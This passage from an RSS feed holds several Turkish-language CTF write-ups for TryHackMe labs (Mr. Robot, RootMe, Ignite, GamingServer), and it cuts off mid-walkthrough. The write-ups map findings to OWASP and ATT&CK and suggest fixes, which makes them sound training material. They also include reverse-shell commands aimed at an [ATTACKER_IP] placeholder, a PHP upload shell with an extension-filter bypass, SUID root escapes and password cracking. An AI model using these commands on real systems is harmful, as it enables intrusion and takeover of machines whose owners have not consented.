            <content:encoded><![CDATA[<h4>Mr. Robot — Write-Up</h4><p><strong>Kategori: Web, System | Zorluk: Orta</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*dqYOTNAPM9h4JBXM.jpeg" /></figure><h3>1. Bilgi Toplama</h3><p>Önce <strong>nmap</strong> ile hedefi tarıyorum:</p><pre>nmap -sC -sV [TARGET_IP]</pre><ul><li>-sC: Default scriptleri çalıştırır</li><li>-sV: Servis versiyonlarını tespit eder</li></ul><p><strong>Çıktı:</strong></p><pre>Not shown: 997 filtered tcp ports (no-response)<br>PORT    STATE  SERVICE VERSION<br>22/tcp  closed ssh<br>80/tcp  closed http<br>443/tcp closed https</pre><p>Hmm, portlar kapalı görünüyor ama “filtered” durumu güvenlik duvarı olduğunu gösteriyor. Web tarayıcısı ile kontrol edeyim.</p><blockquote><strong><em>Not:</em></strong><em> “Filtered” durumu, portun aslında açık olduğu ancak IDS/IPS veya güvenlik duvarı tarafından engellendiği anlamına gelir. Web uygulamaları için tarayıcı üzerinden manuel kontrol daha doğru sonuç verir.</em></blockquote><h3>2. Web Keşfi</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7gF4kjlKXUr2x7MzzikVIg.png" /><figcaption>index.html</figcaption></figure><p><strong>Mr. Robot temalı bir site!</strong> Ffuf ile dizin taraması yapıyorum:</p><pre>ffuf -u http://[TARGET_IP]/FUZZ -w /usr/share/wordlists/dirb/common.txt</pre><pre>admin       [Status: 301]<br>blog        [Status: 301]<br>license     [Status: 200]<br>robots      [Status: 200]<br>wp-admin    [Status: 301]<br>wp-login    [Status: 200]<br>phpmyadmin  [Status: 403]</pre><p><strong>WordPress!</strong> wp-admin, wp-login dizinleri var. Ama önce robots.txt&#39;ye bakalım:</p><pre>User-agent: *<br>fsocity.dic<br>key-1-of-3.txt</pre><p><strong>fsocity.dic</strong> kelime listesi ve <strong>key-1-of-3.txt</strong>! Bayrak dosyası:</p><h3>3. Sisteme Giriş</h3><p><strong>WPScan ile Kullanıcı Keşfi</strong></p><p>WordPress kullanıcılarını bulmak için:</p><pre>wpscan --url http://[TARGET_IP] --enumerate u</pre><p><strong>elliot</strong> kullanıcı adını buluyorum — Mr. Robot’un ana karakteri! Brute force deneyeyim:</p><pre>wpscan --url http://[TARGET_IP] --passwords fsocity.dic --usernames elliot</pre><p>Uzun sürdü ama sonuç çıkmadı :( Başka bir yol bulmalıyım.</p><p><strong>License Dosyasındaki Gizli Bilgi</strong></p><p>license sayfasına gidiyorum ve en alta kaydırıyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*REmFBNczPeoiNIx0r8DkFA.png" /></figure><p>Bir base64 string görüyorum:</p><pre>ZWxsaW90OkVSMjgtMDY1Mgo=</pre><p>Decode edeyim:</p><pre>echo &quot;ZWxsaW90OkVSMjgtMDY1Mgo=&quot; | base64 -d</pre><pre>elliot:ER28-0652</pre><p><strong>Kimlik bilgileri!</strong> Hemen WordPress admin paneline giriş yapıyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dp-_612VF6-HbLAfuNOc9Q.png" /></figure><p><strong>Başardık!</strong> Admin panelindeyiz.</p><p><strong>Reverse Shell Enjeksiyonu<br></strong>WordPress admini tema dosyalarını düzenleyebilir. <strong>Appearance → Editor → Archives </strong>seçiyorum ve bir reverse shell kodu ekliyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VprD0aZgk_ouPIcyq7rRbg.png" /></figure><p>Dinleyiciyi başlatıyorum:</p><pre>nc -lvnp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*lgUzmd3C7dkUTPUroRXXqA.png" /></figure><p><strong>Shell geldi!</strong> daemon kullanıcısı olarak bağlandık.</p><blockquote><strong><em>OWASP A03:2021 — Injection:</em></strong><em> Uygulama, kullanıcı girdisini güvenli işlemezse injection zafiyetleri ortaya çıkar.</em></blockquote><blockquote><strong><em>ATT&amp;CK T1059.004 — Unix Shell:</em></strong><em> Saldırgan, komut dosyaları yürütmek için Unix shell’i kullanır.</em></blockquote><h3>4. Yetki Yükseltme</h3><p>Sisteme girdikten sonra yetki yükseltme için bakalım:</p><pre>find / -perm -4000 -type f 2&gt;/dev/null</pre><p>Sonuçlar arasında dikkatimi çeken bir şey var:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*xy5ZBYUQNiPMiJ_snEkRhA.png" /></figure><p><strong>nmap SUID ile mi çalışıyor?</strong> Bu çok sık görülen bir durum değil. GTFOBins’e bakalım:</p><pre>nmap --interactive</pre><p>Interactive mode açılıyor! Şimdi shell escape:</p><pre>nmap&gt; !/bin/sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*szTZ1i8mxsPyunC582nYbA.png" /></figure><p><strong>Root flag:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*8jH6w6-W9kqa2I6gYqDjfA.png" /></figure><p><strong>Neden Bu Çalıştı?</strong></p><p>Nmap SUID bitine sahipti ve interactive mode shell escape imkanı tanıyordu. nmap root yetkileriyle çalıştığından, !/bin/sh komutu root shell verdi.</p><blockquote><strong><em>OWASP A05:2021 — Security Misconfiguration:</em></strong><em> Gereksiz SUID bitleri kritik güvenlik açıklarına yol açar.</em></blockquote><blockquote><strong><em>ATT&amp;CK T1548.001 — Setuid and Setgid:</em></strong><em> Saldırgan, SUID bitine sahip dosyaları kötüye kullanarak yetki yükseltir.</em></blockquote><h3>5. Sonuç ve Çözüm</h3><p>Bu makinede fsociety grubunun sunucusuna sızmak için klasik web uygulaması zafiyetlerini kullandık:</p><p><strong>Saldırı Zinciri:</strong></p><pre>                                  robots.txt <br>                                      ↓ <br>                            license (base64 creds) <br>                                      ↓ <br>                                WordPress admin <br>                                      ↓ <br>                             archives.php backdoor <br>                                      ↓ <br>                                 daemon shell <br>                                      ↓ <br>                                  nmap SUID <br>                                      ↓ <br>                                    root</pre><p><strong>Neden Bu Çalıştı?</strong></p><ol><li><strong>Information Disclosure:</strong> robots.txt gizli dosyaları ifşa etti</li><li><strong>Weak Credential Storage:</strong> Base64 encoding şifreleme değil, kolayca decode edildi</li><li><strong>File Upload/Edit:</strong> WordPress admin tema düzenleme yetkisi RCE’ye izin verdi</li><li><strong>SUID Misconfiguration:</strong> nmap SUID biti root yetkisini ele geçirmemizi sağladı</li></ol><pre><br>| **Bulgu**                  | **Risk**    | **CVSS** | **Teknik Ref.**        | **Çözüm Önerisi** |<br>|----------------------------|-------------|----------|------------------------|-------------------------------------------------------------------------------------|<br>| **Cleartext Credentials**  | 🟠 High     | 7.5      | OWASP A02 ATT&amp;CK T1552 | Kimlik bilgileri secrets management ile saklanmalı, asla base64 ile maskelenmemeli. |<br>| **WordPress File Editor**  | 🔴 Critical | 9.1      | OWASP A03 ATT&amp;CK T1190 | `DISALLOW_FILE_EDIT` true yapılmalı. Admin MFA ile korunmalı.                       |<br>| **nmap SUID**              | 🔴 Critical | 9.8      | OWASP A05 ATT&amp;CK T1548 | `chmod u-s /usr/bin/nmap`. Gereksiz SUID bitleri kaldırılmalı.                      |<br>| **Information Disclosure** | 🟡 Medium   | 5.3      | OWASP A01              | robots.txt hassas bilgi içermemeli.                                                 |</pre><p><strong>Öğrenilen Dersler:</strong></p><ol><li><strong>robots.txt güvenli değildir</strong> — Herkes okuyabilir, gizli bilgi koyma</li><li><strong>Base64 ≠ Şifreleme</strong> — echo &quot;...&quot; | base64 -d ile anında decode edilir</li><li><strong>WordPress admin = Tam yetki</strong> — Admin paneli sunucu üzerinde neredeyse root erişimi</li><li><strong>SUID kontrolü kritik</strong> — Her zaman find / -perm -4000 çalıştır</li><li><strong>GTFOBins hayat kurtarır</strong> — SUID exploitation için vazgeçilmez kaynak</li></ol><p><strong>Kullanılan Araçlar:</strong></p><ul><li>nmap - Ağ taraması</li><li>ffuf - Web dizin keşfi</li><li>wpscan - WordPress enumeration</li><li>base64 - Decode işlemi</li><li>nc - Reverse shell dinleyici</li></ul><p><em>Write-up by Metin Kadir Kerpiç</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80e6c36932db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — RootMe]]></title>
            <link>https://medium.com/@mkk013/tryhackme-rootme-24b4b4e704d4?source=rss-d3716ecf34d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/24b4b4e704d4</guid>
            <dc:creator><![CDATA[Metin Kadir Kerpiç]]></dc:creator>
            <pubDate>Sun, 08 Mar 2026 14:36:00 GMT</pubDate>
            <atom:updated>2026-03-08T14:36:00.551Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Kategori: Web, System | Zorluk: Kolay</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*pqO1qSpqerGUWeOV.png" /></figure><h3>1. Bilgi Toplama</h3><p>İlk olarak <strong>nmap</strong> ile hedefi tarıyorum:</p><pre>nmap -sC -sV [TARGET_IP]</pre><p><strong>Çıktı:</strong></p><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13<br>80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-title: HackIT - Home</pre><p>SSH ve HTTP açık. Web tarafına odaklanalım, genellikle daha fazla yüzey alanı var.</p><p><strong>Dizin Keşfi</strong></p><p>Ffuf ile dizinleri tarıyorum:</p><pre>ffuf -u http://[TARGET_IP]/FUZZ -w /usr/share/wordlists/dirb/common.txt</pre><p>İlginç sonuçlar:</p><pre>panel              [Status: 301]<br>uploads            [Status: 301]</pre><p><strong>/panel</strong> ve <strong>/uploads</strong>! Bu klasik bir file upload senaryosu gibi görünüyor. Panelde dosya yükleme formu, uploads&#39;ta yüklenen dosyalar olabilir.</p><h3>2. Web Keşfi</h3><p>Siteye gidiyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ovHVd-loaFEXwfIfBQix3Q.png" /></figure><p>“HackIT — Home” karşılama sayfası. /panel dizinine bakalım:</p><p><strong>Panel — Dosya Yükleme Formu</strong></p><p>/panel dizininde bir dosya yükleme formu var! İçeriği inceleyelim:</p><ul><li>Dosya seçme butonu</li><li>“Upload” butonu</li><li>Sadece belirli uzantılara izin veriyor gibi görünüyor</li></ul><p>/uploads dizinine bakıyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NXECaZ1TLFi3GlkxLmLQeg.png" /></figure><p>Boş görünüyor — henüz dosya yüklenmemiş.</p><h3>3. Sisteme Giriş</h3><p><strong>PHP Upload Denemesi<br></strong>Reverse shell için PHP dosyası yüklemeyi deniyorum:</p><pre>&lt;?php<br>exec(&quot;/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/[ATTACKER_IP]/4444 0&gt;&amp;1&#39;&quot;);<br>?&gt;</pre><p>Dosya adı: shell.php</p><p><strong>Hata!</strong> “.php uzantısına izin verilmiyor” gibi bir hata mesajı alıyorum. Uygulama blacklist tabanlı filtreleme kullanıyor.</p><p><strong>Bypass Denemesi — Alternatif Uzantılar</strong></p><p>Apache sunucuları sadece .php değil, .php5, .phtml, .phar gibi uzantıları da PHP olarak yorumlayabilir. Deneyelim:</p><p>Dosya adını değiştiriyorum: shell.php → shell.phar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*z7qBUEEpY3qQNp2ATfHWVw.png" /></figure><p><strong>Reverse Shell<br></strong>Dinleyiciyi başlatıyorum:</p><pre>nc -lvnp 4444</pre><p>Yüklenen dosyayı tetikleyince <strong>Shell geldi!</strong> www-data kullanıcısı olarak sistemdeyiz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*z7qBUEEpY3qQNp2ATfHWVw.png" /></figure><blockquote><strong><em>OWASP A03:2021 — Injection:</em></strong><em> Sadece dosya uzantısına dayalı kara liste kontrolleri, alternatif uzantılar kullanılarak kolayca atlatılabilir.</em></blockquote><blockquote><strong><em>ATT&amp;CK T1190 — Exploit Public-Facing Application:</em></strong><em> Saldırgan, dosya yükleme işlevselliğindeki zayıf doğrulamayı kullanarak uzaktan kod çalıştırır.</em></blockquote><h3>4. Yetki Yükseltme</h3><p><strong>SUID Binary Arama<br></strong>Sistemde SUID biti ayarlanmış dosyaları arıyorum:</p><pre>find /usr -perm -4000 -type f 2&gt;/dev/null</pre><p>Sonuçlar arasında dikkat çeken bir şey görüyorum:</p><pre>/usr/bin/python</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*ozfz1mAMxnuHYv25VF9OUA.png" /></figure><blockquote><strong><em>SUID Nedir?</em></strong><em> SUID (Set User ID) biti, bir programın dosya sahibinin (root) yetkileriyle çalışmasını sağlar. Python SUID bitine sahipse, Python kodu root yetkileriyle çalıştırılır.</em></blockquote><p><strong>GTFOBins ile Exploitation</strong></p><p>GTFOBins (gtfobins.github.io) sitesinde Python SUID exploitation aratıyorum:</p><pre>python -c &#39;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&#39;</pre><p>-p flag&#39;i privileged mode&#39;u etkinleştirir ve SUID bitinin etkisini korur.</p><p>Deneyelim:</p><pre>/usr/bin/python -c &#39;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*wfEuSe4EeSfIjvD7fMeA2w.png" /></figure><p><strong>Neden Bu Çalıştı?</strong></p><ol><li>/usr/bin/python SUID bitine sahipti (root tarafından sahiplenilmişti)</li><li>Python’ı -c parametresi ile komut çalıştırarak başlattım</li><li>os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;) komutu ile root yetkileriyle shell açtım</li><li>-p (privileged) flag&#39;i sayesinde root yetkilerini korudum</li></ol><blockquote><strong><em>OWASP A05:2021 — Security Misconfiguration:</em></strong><em> Gereksiz SUID bitleri, özellikle yorumlayıcılar (python, perl, ruby) gibi esnek programlarda, kritik güvenlik açıklarına yol açar.</em></blockquote><blockquote><strong><em>ATT&amp;CK T1548.001 — Setuid and Setgid:</em></strong><em> Saldırgan, SUID bitine sahip dosyaları kötüye kullanarak yetki yükseltir.</em></blockquote><h3>5. Sonuç ve Çözüm</h3><p>Bu makinede klasik bir file upload bypass ve SUID exploitation zinciriyle root olduk:</p><p><strong>Saldırı Zinciri:</strong></p><pre>File upload form → .php blocked → .phar bypass <br>  → PHP shell upload → code execution → python SUID → root shell</pre><p><strong>Neden Bu Çalıştı?</strong></p><ol><li><strong>Weak File Upload Validation:</strong> Sadece .php uzantısı engellenmiş, .phar çalışmış</li><li><strong>Alternative PHP Extensions:</strong> Apache .phar uzantısını da PHP olarak yorumluyordu</li><li><strong>SUID on Python:</strong> /usr/bin/python gereksiz şekilde SUID bitine sahipti</li><li><strong>Missing Whitelist:</strong> Dosya türü doğrulaması (magic bytes) yoktu</li></ol><pre><br>| **Bulgu**                        | **Risk**    | **CVSS** | **Teknik Ref.** | **Çözüm Önerisi** |<br>|----------------------------------|-------------|----------|------------------------|----------------------------------------------------------------------------|<br>| **File Upload Bypass**           | 🔴 Critical | 9.8      | OWASP A03 ATT&amp;CK T1190 | Magic bytes (file signatures) kontrolü yapılmalı, whitelist kullanılmalı. |<br>| **Script Execution in Uploads**  | 🔴 Critical | 9.8      | OWASP A05              | `/uploads` dizininde PHP execution devre dışı bırakılmalı (`.htaccess`).  |<br>| **Python SUID**                  | 🔴 Critical | 9.8      | OWASP A05 ATT&amp;CK T1548 | `chmod u-s /usr/bin/python`. Yorumlayıcılar asla SUID olmamalı.           |<br>| **Blacklisting**                 | 🟠 High     | 7.5      | OWASP A03              | Kara liste (blacklist) yerine beyaz liste (whitelist) kullanılmalı.       |</pre><p><strong>Öğrenilen Dersler:</strong></p><ol><li><strong>Blacklist yetersizdir</strong> — .php engellendi ama .phar çalıştı</li><li><strong>Apache uzantıları</strong> — .php, .php5, .phtml, .phar hepsi PHP çalıştırır</li><li><strong>SUID yorumlayıcılar tehlikelidir</strong> — python, perl, ruby SUID = root</li><li><strong>Magic bytes kontrolü</strong> — Sadece uzantı değil, dosya içeriği doğrulanmalı</li><li><strong>Uploads dizini güvenliği</strong> — Yüklenen dosyalar çalıştırılamamalı</li></ol><p><strong>Kullanılan Araçlar:</strong></p><ul><li>nmap - Ağ taraması</li><li>ffuf - Web dizin keşfi</li><li>nc - Reverse shell dinleyici</li><li>find - SUID binary tespiti</li><li>python - SUID exploitation</li></ul><p>File upload bypass ve Python SUID klasik ama etkili kombinasyon.</p><p><em>Write-up by Metin Kadir Kerpiç</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24b4b4e704d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Ignite]]></title>
            <link>https://medium.com/@mkk013/tryhackme-ignite-293c7ec0233c?source=rss-d3716ecf34d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/293c7ec0233c</guid>
            <dc:creator><![CDATA[Metin Kadir Kerpiç]]></dc:creator>
            <pubDate>Sun, 08 Mar 2026 14:26:00 GMT</pubDate>
            <atom:updated>2026-03-08T14:26:00.500Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Kategori: Web, System | Zorluk: Kolay</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*CCMtaW1cCJf5gmVN" /></figure><h3>1. Bilgi Toplama</h3><p>İlk olarak <strong>nmap</strong> ile hedefi tarıyorum:</p><pre>nmap -sC -sV [TARGET_IP]</pre><p><strong>Çıktı:</strong></p><pre>PORT   STATE SERVICE VERSION<br>80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))<br>| http-robots.txt: 1 disallowed entry <br>|_/fuel/<br>|_http-title: Welcome to FUEL CMS</pre><p><strong>Fuel CMS!</strong> ve robots.txt’de /fuel dizini engellenmiş - ilginç. Ffuf ile dizin taraması yapıyorum:</p><pre>ffuf -u http://[TARGET_IP]/FUZZ -w /usr/share/wordlists/dirb/common.txt</pre><p>Sonuçlar: assets, robots.txt, ve diğer standart dizinler.</p><blockquote><strong><em>Not:</em></strong><em> Apache 2.4.18 ve Fuel CMS kombinasyonu eski bir stack. Fuel CMS 1.4 sürümü bilinen RCE zafiyetleri barındırıyor.</em></blockquote><h3>2. Web Keşfi</h3><p>Siteye gidiyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rTw9AhPQkDISrpK7TN48OQ.png" /></figure><p>Fuel CMS karşılama sayfası. Kaynak koduna bakıyorum, belki bir şey vardır:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*2wyiE7HGSnh9Ntqx7i6aAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kTJ5fCkB1o2w18-SpdatbA.png" /></figure><p><strong>Admin Paneli ve Varsayılan Şifre</strong></p><p>Login sayfası yüklendi:</p><p>Kullanıcı adı: admin</p><p>Şifre için denemeler yapıyorum… En klasik kombinasyon:</p><pre>admin:admin</pre><p>Varsayılan şifre çalıştı!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BNhkkIRgQqT6u9WW7hpTXA.png" /></figure><p>Admin panelindeyim. Fuel CMS 1.4 sürümünü kullanıyor — bu sürümde RCE zafiyeti var!</p><h3>3. Sisteme Giriş</h3><p><strong>Exploit Araştırması</strong></p><p>Google’da “Fuel CMS 1.4 RCE” aratıyorum ve exploit buluyorum. Fuel CMS 1.4&#39;teki zafiyet, düzgün filtrelenmemiş parametreler nedeniyle uzaktan kod çalıştırmaya izin veriyor.</p><p>Reverse shell almak için exploit kullanıyorum:</p><pre>python3 fuel_cms_rce.py -u http://[TARGET_IP] -c &quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/[ATTACKER_IP]/4444 0&gt;&amp;1&#39;&quot;</pre><p>Dinleyici başlatıyorum:</p><pre>nc -lvnp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*GLORZFA8GkwhJ8y1F8WiCQ.png" /></figure><p><strong>Shell geldi!</strong> Ama etkileşimli olmayan bir shell. TTY upgrade yapıyorum:</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Sonra:</p><pre>ctrl+z<br>stty raw -echo;fg<br>export TERM=xterm</pre><p>Artık tam bir TTY shell’im var ve www-data kullanıcısı olarak sistemdeyim.</p><blockquote><strong><em>OWASP A03:2021 — Injection:</em></strong><em> Fuel CMS’deki RCE zafiyeti, kullanıcı girdisinin düzgün filtrelenmemesi sonucu ortaya çıkar.</em></blockquote><blockquote><strong><em>ATT&amp;CK T1190 — Exploit Public-Facing Application:</em></strong><em> Saldırgan, internete açık uygulamalardaki yazılım güvenlik açıklarından yararlanır.</em></blockquote><h3>4. Yetki Yükseltme</h3><p><strong>Veritabanı Yapılandırma Dosyaları<br></strong>Sistemde dolaşırken Fuel CMS’in yapılandırma dosyalarına bakıyorum. Veritabanı şifreleri nerede saklanır?</p><pre>find /var/www -name &quot;database.php&quot; 2&gt;/dev/null</pre><p>Bulundu: fuel/application/config/database.php</p><p>İçeriğine bakıyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*RPfH7f7VSi7n14t0RTMfCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*gNiV4v2FwgXYB0YGDrZ2_g.png" /></figure><p><strong>Şifre: </strong><strong>mememe</strong></p><p>Cleartext şifre! Bu çok yaygın bir güvenlik açığı — insanlar aynı şifreyi birden fazla yerde kullanıyor.</p><p><strong>Şifre Tekrarı (Password Reuse) Saldırısı</strong></p><p>Aklıma bir fikir geliyor: Acaba sistemdeki root kullanıcısı da aynı şifreyi kullanıyor mu?</p><p>Deneyelim:</p><pre>su root<br>Password: mememe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*5SjoBSOmJtGhE2QlSexpjg.png" /></figure><p><strong>Neden Bu Çalıştı?</strong></p><ol><li>Veritabanı yapılandırma dosyasında cleartext şifre (mememe) bulduk</li><li>Sistem yöneticisi aynı şifreyi hem veritabanı hem de root kullanıcısı için kullanmış</li><li>Bu “password reuse” (şifre tekrarı) en yaygın güvenlik zafiyetlerinden biridir</li></ol><blockquote><strong><em>OWASP A02:2021 — Cryptographic Failures:</em></strong><em> Hassas veriler (şifreler) düz metin olarak saklanmamalıdır. Ayrıca şifre tekrarı kullanımı kritik bir risktir.</em></blockquote><blockquote><strong><em>ATT&amp;CK T1003 — OS Credential Dumping:</em></strong><em> Saldırgan, yapılandırma dosyalarından kimlik bilgileri toplar ve bunları başka hesaplarda kullanır.</em></blockquote><h3>5. Sonuç ve Çözüm</h3><p>Bu makinede klasik bir CMS exploitation ve şifre tekrarı zinciriyle root olduk:</p><p><strong>Saldırı Zinciri:</strong></p><pre>                              Source code ipucu <br>                                      ↓ <br>                           admin:admin (default creds) <br>                                      ↓ <br>                                Fuel CMS RCE <br>                                      ↓ <br>                                www-data shell <br>                                      ↓ <br>                           database config (cleartext) <br>                                      ↓ <br>                            password reuse (mememe) <br>                                      ↓ <br>                                    root</pre><p><strong>Neden Bu Çalıştı?</strong></p><ol><li><strong>Information Disclosure:</strong> HTML yorumunda şifre ipucu vardı</li><li><strong>Default Credentials:</strong> admin:admin klasik kombinasyonu çalıştı</li><li><strong>Outdated Software:</strong> Fuel CMS 1.4 bilinen RCE zafiyeti barındırıyordu</li><li><strong>Cleartext Passwords:</strong> Veritabanı şifresi config dosyasında düz metin olarak saklanmıştı</li><li><strong>Password Reuse:</strong> Aynı şifre (mememe) birden fazla hesapta kullanılmıştı</li></ol><pre><br>| **Bulgu**                       | **Risk**        | **CVSS**| **Teknik Ref.**         | **Çözüm Önerisi** |<br>|---------------------------------|-----------------|---------|-------------------------|------------------------------------------------------------------|<br>| **Default Credentials**         | 🔴 Critical     | 9.8     | OWASP A07 ATT&amp;CK T1078 | Varsayılan şifreler kurulum sonrası hemen değiştirilmeli.         |<br>| **Outdated CMS (RCE)**          | 🔴 Critical     | 9.8     | OWASP A06 ATT&amp;CK T1190 | Fuel CMS güncel sürüme yükseltilmeli, CVE yamaları uygulanmalı.   |<br>| **Cleartext Passwords**         | 🔴 Critical     | 9.1     | OWASP A02 CWE-312      | Şifreler environment variables veya secrets manager&#39;da saklanmalı.|<br>| **Password Reuse**              | 🔴 Critical     | 9.0     | OWASP A02 CWE-287      | Her sistem için benzersiz, karmaşık şifreler kullanılmalı.        |</pre><p><strong>Öğrenilen Dersler:</strong></p><ol><li><strong>Kaynak kodda altın vardır</strong> — HTML yorumları ipucu içerir</li><li><strong>admin:admin her zaman denenmeli</strong> — Klasik ama hala çalışıyor</li><li><strong>Eski CMS = Tehlike</strong> — Fuel CMS 1.4 bilinen CVE’lerle dolu</li><li><strong>Config dosyaları altın değerinde</strong> — Veritabanı şifreleri genellikle cleartext olarak saklanır</li><li><strong>Şifre tekrarı yaygındır</strong> — Aynı şifreyi birden fazla yerde kullanmak yaygın bir hata</li><li><strong>“mememe” gibi basit şifreler</strong> — Tahmin edilmesi ve kırılması çok kolay</li></ol><p><strong>Kullanılan Araçlar:</strong></p><ul><li>nmap - Ağ taraması</li><li>ffuf - Web dizin keşfi</li><li>fuel_cms_rce.py - Exploit (Fuel CMS 1.4 RCE)</li><li>nc - Reverse shell dinleyici</li><li>find - Config dosyası arama</li><li>su - Kullanıcı değiştirme (password reuse)</li></ul><p>“mememe” şifresi ile root olduk! Basit ama etkili bir şifre tekrarı örneği.</p><p><em>Write-up by Metin Kadir Kerpiç</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=293c7ec0233c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe - GamingServer]]></title>
            <link>https://medium.com/@mkk013/tryhackme-gamingserver-1eda954f89f3?source=rss-d3716ecf34d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/1eda954f89f3</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Metin Kadir Kerpiç]]></dc:creator>
            <pubDate>Sun, 08 Mar 2026 14:11:00 GMT</pubDate>
            <atom:updated>2026-03-08T14:11:00.564Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/320/0*B9xAieM6ju1rtNxR.jpeg" /></figure><p>TryHackMe — GamingServer</p><p>Kategori: Web, System | Zorluk: Kolay</p><h3>1. Bilgi Toplama</h3><p>İlk olarak <strong>nmap</strong> ile hedefi tarıyorum:</p><pre>nmap -sC -sV [TARGET_IP]</pre><ul><li>-sC: Default scriptleri çalıştırır</li><li>-sV: Servis versiyonlarını tespit eder</li></ul><p>Çıktı:</p><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3<br>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))<br>|_http-title: House of danak</pre><p>SSH ve HTTP açık. Web sitesi ile devam edelim.</p><h3>2. Web Keşfi</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o_fAJTqTsxKv3SF7oMMOtw.png" /><figcaption>index.html</figcaption></figure><p><strong>“House of danak”</strong> — Bir oyun sunucusu sitesi. Kaynak koduna bakalım, belki bilgi vardır:</p><pre>&lt;!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. --&gt;</pre><p>Bir HTML yorumunda <strong>“john”</strong> ismi geçiyor. Bu bir kullanıcı adı olabilir</p><p><strong>2.1 Dizin Taraması</strong></p><p>Ffuf ile dizinleri keşfediyorum:</p><pre>ffuf -u http://[TARGET_IP]/FUZZ -w /usr/share/wordlists/dirb/common.txt</pre><pre>robots.txt      [Status: 200]<br>secret          [Status: 301]<br>uploads         [Status: 301]</pre><p><strong>robots.txt</strong> içeriği:</p><pre>User-agent: *<br>Allow: /<br>/uploads/</pre><p>/uploads dizini var ama robots.txt&#39;de bahsedilmiş - ilginç. /secret dizini daha çok ilgimi çekiyor. İçeride secretKey adında bir dosya var. İndiriyorum ve içeriğine bakıyorum:</p><pre>-----BEGIN RSA PRIVATE KEY-----<br>Proc-Type: 4,ENCRYPTED<br>DEK-Info: AES-128-CBC,82823EE792E75948EE2DE731AF1A0547<br><br>T7+F+3ilm5FcFZx24mnrugMY455vI461ziMb4NYk9YJV5uwcrx4QflP2Q2Vk8phx<br>H4P+PLb79nCc0SrBOPBlB0V3pjLJbf2hKbZazFLtq4FjZq66aLLIr2dRw74MzHSM<br>...<br>-----END RSA RSA PRIVATE KEY-----</pre><p><strong>Şifrelenmiş bir SSH private key!</strong> Ama kullanmak için parolasını kırmam lazım.</p><blockquote><strong><em>Not:</em></strong><em> </em><em>Proc-Type: 4,ENCRYPTED ve </em><em>DEK-Info başlıkları, bu SSH key&#39;in şifre korumalı olduğunu gösterir. Kullanmadan önce parolasını kırmamız gerekir.</em></blockquote><h3>3. Sisteme Giriş</h3><p>John the Ripper ile Parola Kırma<br>Önce SSH key’i John formatına dönüştürüyorum:<br>ssh2john secretKey &gt; hash</p><p>Şimdi kıralım:</p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt hash</pre><p>Kısa bir süre sonra:</p><pre>Result: letmein     (secretKey)</pre><p><strong>Harika!</strong> Parola: letmein - rockyou’da olan basit bir parola.</p><p><strong>SSH Bağlantısı</strong></p><p>HTML yorumundan bildiğimiz john 